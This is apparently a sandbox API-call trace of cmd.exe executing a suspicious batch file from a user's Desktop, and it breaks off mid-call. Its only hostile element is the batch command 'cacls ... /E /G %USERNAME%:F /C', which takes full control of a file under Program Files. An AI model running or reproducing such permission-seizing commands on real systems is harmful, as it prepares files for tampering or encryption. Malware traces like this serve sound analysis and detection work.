GetProcessHeap () returned 0x170000 [0076.099] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x20c) returned 0x182f60 [0076.099] GetConsoleTitleW (in: lpConsoleTitle=0x182f60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.099] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0076.099] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0076.100] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0076.100] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0076.100] GetProcessHeap () returned 0x170000 [0076.100] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x186af0 [0076.100] GetProcessHeap () returned 0x170000 [0076.100] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186af0 | out: hHeap=0x170000) returned 1 [0076.101] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0076.102] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0076.102] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0076.102] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0076.102] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0076.102] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0076.102] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0076.102] GetProcessHeap () returned 0x170000 [0076.102] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x58) returned 0x183178 [0076.102] GetProcessHeap () returned 0x170000 [0076.102] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x72) returned 0x192b40 [0076.103] GetProcessHeap () returned 0x170000 [0076.103] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x82) returned 0x1831d8 [0076.104] GetConsoleTitleW (in: lpConsoleTitle=0x3af3c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.104] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0076.104] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0076.104] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0076.104] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0076.104] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0076.104] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0076.104] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0076.104] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0076.104] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0076.105] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0076.105] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0076.105] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0076.105] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0076.105] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0076.105] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0076.105] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0076.105] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0076.105] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0076.105] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0076.105] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0076.105] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0076.105] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0076.105] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0076.105] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0076.105] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0076.105] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0076.105] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0076.105] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0076.105] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0076.105] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0076.105] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0076.105] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0076.105] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0076.105] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0076.105] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0076.105] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0076.105] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0076.105] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0076.105] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0076.105] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0076.105] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0076.105] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0076.106] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0076.106] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0076.106] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0076.106] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0076.106] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0076.106] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0076.106] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0076.106] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0076.106] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0076.106] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0076.106] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0076.106] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0076.106] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0076.106] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0076.106] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0076.106] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0076.106] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0076.106] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0076.106] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0076.106] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0076.106] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0076.106] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0076.106] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0076.106] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0076.106] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0076.106] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0076.106] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0076.106] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0076.106] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0076.106] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0076.106] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0076.106] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0076.106] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0076.107] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0076.107] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0076.107] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0076.107] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0076.107] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0076.107] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0076.107] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0076.107] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0076.107] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0076.107] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0076.107] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0076.107] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0076.107] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0076.107] GetProcessHeap () returned 0x170000 [0076.107] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x210) returned 0x183268 [0076.107] GetProcessHeap () returned 0x170000 [0076.107] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xec) returned 0x183480 [0076.108] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0076.108] GetProcessHeap () returned 0x170000 [0076.108] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x418) returned 0x1707f0 [0076.108] SetErrorMode (uMode=0x0) returned 0x0 [0076.108] SetErrorMode (uMode=0x1) returned 0x0 [0076.108] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x1707f8, lpFilePart=0x3aeee0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3aeee0*="Desktop") returned 0x25 [0076.108] SetErrorMode (uMode=0x0) returned 0x1 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1707f0, Size=0x6e) returned 0x1707f0 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1707f0) returned 0x6e [0076.109] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x5a) returned 0x183578 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xa8) returned 0x1835e0 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1835e0, Size=0x5a) returned 0x1835e0 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1835e0) returned 0x5a [0076.109] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0076.109] GetProcessHeap () returned 0x170000 [0076.109] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xe0) returned 0x170868 [0076.112] GetProcessHeap () returned 0x170000 [0076.112] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x170868, Size=0x76) returned 0x170868 [0076.112] GetProcessHeap () returned 0x170000 [0076.112] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x170868) returned 0x76 [0076.112] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0076.112] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x3aec7c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3aec7c) returned 0x183648 [0076.113] GetProcessHeap () returned 0x170000 [0076.113] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x0, Size=0x14) returned 0x183688 [0076.113] FindClose (in: hFindFile=0x183648 | out: hFindFile=0x183648) returned 1 [0076.113] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0076.113] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0076.113] GetConsoleTitleW (in: lpConsoleTitle=0x3af154, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.113] GetProcessHeap () returned 0x170000 [0076.113] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x11c) returned 0x1708e8 [0076.114] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0076.114] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0076.114] IdentifyCodeAuthzLevelW () returned 0x1 [0076.120] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0076.120] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0076.120] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0076.120] CloseCodeAuthzLevel () returned 0x1 [0076.120] SetErrorMode (uMode=0x0) returned 0x0 [0076.120] SetErrorMode (uMode=0x1) returned 0x0 [0076.120] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x183270, lpFilePart=0x3af040 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x3af040*="Bt3xnwko.bat") returned 0x32 [0076.120] SetErrorMode (uMode=0x0) returned 0x1 [0076.120] GetProcessHeap () returned 0x170000 [0076.120] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x72) returned 0x192bc0 [0076.120] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\"", _Control=" \x09") returned 0x1 [0076.120] GetProcessHeap () returned 0x170000 [0076.120] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x80) returned 0x171140 [0076.120] GetProcessHeap () returned 0x170000 [0076.120] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xf8) returned 0x1711c8 [0076.120] GetProcessHeap () returned 0x170000 [0076.120] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x1711c8, Size=0x82) returned 0x1711c8 [0076.120] GetProcessHeap () returned 0x170000 [0076.121] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x1711c8) returned 0x82 [0076.121] CmdBatNotification () returned 0x1832d2 [0076.121] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x3af084, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0076.121] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0076.121] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.121] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.121] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.121] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.121] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x3af068, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x3af068*=0xe2, lpOverlapped=0x0) returned 1 [0076.122] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0076.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0076.123] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.123] GetFileType (hFile=0x78) returned 0x1 [0076.123] _get_osfhandle (_FileHandle=3) returned 0x78 [0076.123] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0076.123] GetProcessHeap () returned 0x170000 [0076.123] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x400a) returned 0x186af0 [0076.123] GetProcessHeap () returned 0x170000 [0076.123] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x4008) returned 0x194b28 [0076.124] GetProcessHeap () returned 0x170000 [0076.124] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x1a) returned 0x185840 [0076.124] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0076.124] GetProcessHeap () returned 0x170000 [0076.124] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x185840 | out: hHeap=0x170000) returned 1 [0076.124] GetProcessHeap () returned 0x170000 [0076.124] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x194b28 | out: hHeap=0x170000) returned 1 [0076.124] GetProcessHeap () returned 0x170000 [0076.124] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186af0 | out: hHeap=0x170000) returned 1 [0076.124] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0076.124] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0076.124] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0076.124] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0076.124] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0076.124] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0076.124] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0076.125] GetProcessHeap () returned 0x170000 [0076.125] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x58) returned 0x171258 [0076.125] GetProcessHeap () returned 0x170000 [0076.125] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x14) returned 0x184190 [0076.126] GetProcessHeap () returned 0x170000 [0076.126] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0xc2) returned 0x1841b0 [0076.127] _tell (_FileHandle=3) returned 32 [0076.127] _close (_FileHandle=3) returned 0 [0076.127] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3aee3c | out: _Buffer="\r\n") returned 2 [0076.127] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.127] GetFileType (hFile=0x7) returned 0x2 [0076.336] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.336] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aedfc | out: lpMode=0x3aedfc) returned 1 [0076.336] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.337] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3aee28, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3aee28*=0x2) returned 1 [0076.337] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.337] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.337] _vsnwprintf (in: _Buffer=0x4ab45e40, _BufferCount=0x3fe, _Format="%s", _ArgList=0x3aee38 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.337] _vsnwprintf (in: _Buffer=0x4ab45e8a, _BufferCount=0x3d9, _Format="%c", _ArgList=0x3aee38 | out: _Buffer=">") returned 1 [0076.338] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.338] GetFileType (hFile=0x7) returned 0x2 [0076.338] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.338] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3aee00 | out: lpMode=0x3aee00) returned 1 [0076.338] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.338] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab45e40*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x3aee2c, lpReserved=0x0 | out: lpBuffer=0x4ab45e40*, lpNumberOfCharsWritten=0x3aee2c*=0x26) returned 1 [0076.339] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.339] GetFileType (hFile=0x7) returned 0x2 [0076.339] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.339] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af084 | out: lpMode=0x3af084) returned 1 [0076.339] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.339] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x184198*, nNumberOfCharsToWrite=0x5, lpNumberOfCharsWritten=0x3af0b0, lpReserved=0x0 | out: lpBuffer=0x184198*, lpNumberOfCharsWritten=0x3af0b0*=0x5) returned 1 [0076.340] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x3af0bc | out: _Buffer=" \"C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\" /E /G 5p5NrGJn0jS HALPmcxz:F /C ") returned 93 [0076.340] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.340] GetFileType (hFile=0x7) returned 0x2 [0076.340] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.340] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af07c | out: lpMode=0x3af07c) returned 1 [0076.340] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.340] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x5d, lpNumberOfCharsWritten=0x3af0a8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0a8*=0x5d) returned 1 [0076.341] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x3af0dc | out: _Buffer="\r\n") returned 2 [0076.341] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.341] GetFileType (hFile=0x7) returned 0x2 [0076.341] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0076.341] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3af09c | out: lpMode=0x3af09c) returned 1 [0076.341] _get_osfhandle (_FileHandle=1) returned 0x7 [0076.341] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x3af0c8, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x3af0c8*=0x2) returned 1 [0076.341] _wcsicmp (_String1="cacls", _String2="DIR") returned -1 [0076.341] _wcsicmp (_String1="cacls", _String2="ERASE") returned -2 [0076.341] _wcsicmp (_String1="cacls", _String2="DEL") returned -1 [0076.342] _wcsicmp (_String1="cacls", _String2="TYPE") returned -17 [0076.342] _wcsicmp (_String1="cacls", _String2="COPY") returned -14 [0076.342] _wcsicmp (_String1="cacls", _String2="CD") returned -3 [0076.342] _wcsicmp (_String1="cacls", _String2="CHDIR") returned -7 [0076.342] _wcsicmp (_String1="cacls", _String2="RENAME") returned -15 [0076.342] _wcsicmp (_String1="cacls", _String2="REN") returned -15 [0076.342] _wcsicmp (_String1="cacls", _String2="ECHO") returned -2 [0076.342] _wcsicmp (_String1="cacls", _String2="SET") returned -16 [0076.342] _wcsicmp (_String1="cacls", _String2="PAUSE") returned -13 [0076.342] _wcsicmp (_String1="cacls", _String2="DATE") returned -1 [0076.342] _wcsicmp (_String1="cacls", _String2="TIME") returned -17 [0076.342] _wcsicmp (_String1="cacls", _String2="PROMPT") returned -13 [0076.342] _wcsicmp (_String1="cacls", _String2="MD") returned -10 [0076.342] _wcsicmp (_String1="cacls", _String2="MKDIR") returned -10 [0076.342] _wcsicmp (_String1="cacls", _String2="RD") returned -15 [0076.342] _wcsicmp (_String1="cacls", _String2="RMDIR") returned -15 [0076.342] _wcsicmp (_String1="cacls", _String2="PATH") returned -13 [0076.342] _wcsicmp (_String1="cacls", _String2="GOTO") returned -4 [0076.342] _wcsicmp (_String1="cacls", _String2="SHIFT") returned -16 [0076.342] _wcsicmp (_String1="cacls", _String2="CLS") returned -11 [0076.342] _wcsicmp (_String1="cacls", _String2="CALL") returned -9 [0076.342] _wcsicmp (_String1="cacls", _String2="VERIFY") returned -19 [0076.342] _wcsicmp (_String1="cacls", _String2="VER") returned -19 [0076.342] _wcsicmp (_String1="cacls", _String2="VOL") returned -19 [0076.342] _wcsicmp (_String1="cacls", _String2="EXIT") returned -2 [0076.342] _wcsicmp (_String1="cacls", _String2="SETLOCAL") returned -16 [0076.342] _wcsicmp (_String1="cacls", _String2="ENDLOCAL") returned -2 [0076.342] _wcsicmp (_String1="cacls", _String2="TITLE") returned -17 [0076.342] _wcsicmp (_String1="cacls", _String2="START") returned -16 [0076.342] _wcsicmp (_String1="cacls", _String2="DPATH") returned -1 [0076.342] _wcsicmp (_String1="cacls", _String2="KEYS") returned -8 [0076.342] _wcsicmp (_String1="cacls", _String2="MOVE") returned -10 [0076.342] _wcsicmp (_String1="cacls", _String2="PUSHD") returned -13 [0076.342] _wcsicmp (_String1="cacls", _String2="POPD") returned -13 [0076.342] _wcsicmp (_String1="cacls", _String2="ASSOC") returned 2 [0076.342] _wcsicmp (_String1="cacls", _String2="FTYPE") returned -3 [0076.343] _wcsicmp (_String1="cacls", _String2="BREAK") returned 1 [0076.343] _wcsicmp (_String1="cacls", _String2="COLOR") returned -14 [0076.343] _wcsicmp (_String1="cacls", _String2="MKLINK") returned -10 [0076.343] _wcsnicmp (_String1="cacl", _String2="cmd ", _MaxCount=0x4) returned -12 [0076.343] GetProcessHeap () returned 0x170000 [0076.343] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x418) returned 0x184280 [0076.343] SetErrorMode (uMode=0x0) returned 0x0 [0076.343] SetErrorMode (uMode=0x1) returned 0x0 [0076.343] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x184288, lpFilePart=0x3aee80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3aee80*="Desktop") returned 0x25 [0076.343] SetErrorMode (uMode=0x0) returned 0x1 [0076.343] GetProcessHeap () returned 0x170000 [0076.343] RtlReAllocateHeap (Heap=0x170000, Flags=0x0, Ptr=0x184280, Size=0x60) returned 0x184280 [0076.343] GetProcessHeap () returned 0x170000 [0076.343] RtlSizeHeap (HeapHandle=0x170000, Flags=0x0, MemoryPointer=0x184280) returned 0x60 [0076.343] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0076.343] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0076.343] GetProcessHeap () returned 0x170000 [0076.343] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x120) returned 0x1842e8 [0076.343] GetProcessHeap () returned 0x170000 [0076.343] RtlAllocateHeap (HeapHandle=0x170000, Flags=0x8, Size=0x238) returned 0x184410 [0076.345] GetConsoleTitleW (in: lpConsoleTitle=0x3aec4c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.346] GetConsoleTitleW (in: lpConsoleTitle=0x3ae9e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0076.346] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ae868, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ae930 | out: lpAttributeList=0x3ae868, lpSize=0x3ae930) returned 1 [0076.346] UpdateProcThreadAttribute (in: lpAttributeList=0x3ae868, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ae928, cbSize=0x4, lpPreviousValue=0x0, 